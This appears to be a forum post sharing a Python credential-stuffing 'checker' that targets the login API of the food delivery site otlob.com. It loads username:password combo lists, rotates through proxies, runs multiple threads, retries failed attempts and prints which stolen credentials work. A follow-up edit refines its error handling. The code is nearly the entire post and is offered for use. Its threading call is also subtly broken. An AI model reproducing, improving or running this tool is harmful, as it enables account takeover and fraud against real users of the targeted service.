I modified the final code to add checking on retries for combos and basic threading.
import random
import requests
import threading
THREADS = 50
def login(worker, proxy):
combo = worker.split(':')
url = "https://www.otlob.com/apiweb/v1/account/login"
data = {
"username":combo[0],
"password":combo[1],
"rememberMe": "false"
}
headers = {
"content-type": "application/json;charset=UTF-8",
"accept": "application/json, text/plain, */*",
"accept-encoding": "gzip, deflate, br",
"accept-language": "en-US",
"origin": "https://www.otlob.com",
"referer": "https://www.otlob.com/",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
}
try:
r = requests.post(url, json=data, headers=headers, proxies=proxy, timeout=10)
except:
combos.append(worker)
return
if 'Sorry, we couldn’t log you in' in r.text:
print('[-] {}'.format(worker))
else:
print('[+] {}'.format(worker))
def worker():
while len(combos) > 0:
worker = combos.pop()
proxy = requests_proxy(random.choice(proxies))
login(worker, proxy)
with open("combo.txt", "r", encoding="utf8", errors="replace") as combo_file:
combo_text = combo_file.read()
combos = combo_text.splitlines()
combos = list(dict.fromkeys(combos))
print('[+] Combos {}'.format(len(combos)))
with open("proxies.txt", "r", encoding="utf8", errors="replace") as proxy_file:
proxy_text = proxy_file.read()
proxies = proxy_text.splitlines()
proxies = list(dict.fromkeys(proxies))
print('[+] Proxies {}'.format(len(proxies)))
def requests_proxy(proxy):
proxy_parts = proxy.split(":")
if len(proxy_parts) == 2:
proxy = {"http": f"http://{proxy_parts[0]}:{proxy_parts[1]}",
"https": f"http://{proxy_parts[0]}:{proxy_parts[1]}"}
return proxy
elif len(proxy_parts) == 4:
proxy = {"http": f"http://{proxy_parts[0]}:{proxy_parts[1]}@{proxy_parts[2]}:{proxy_parts[3]}",
"https": f"http://{proxy_parts[0]}:{proxy_parts[1]}@{proxy_parts[2]}:{proxy_parts[3]}"}
return proxy
else:
pass
for _ in range(THREADS):
t = threading.Thread(target=worker(), daemon=True)
t.start()
t.join()
print('checker completed... press enter to exit')
input()
edit:
you could put flags on the combos for splitting, I originally placed the data in the try block, then remembered if it caused an exception this would keep putting the same combo back in the list. you can handle it however you please. I chose not to do it in my example.
If you were worried about it, you could just use except the specific exception, and choose to return, Thus leaving it out of the list. To avoid unnecessary code.
example:
try:
combo = worker.split(':')
data = {
"username":combo[0],
"password":combo[1],
"rememberMe": "false"
}
r = requests.post(url, json=data, headers=headers, proxies=proxy, timeout=10)
except ValueError:
return
except:
combos.append(worker)
return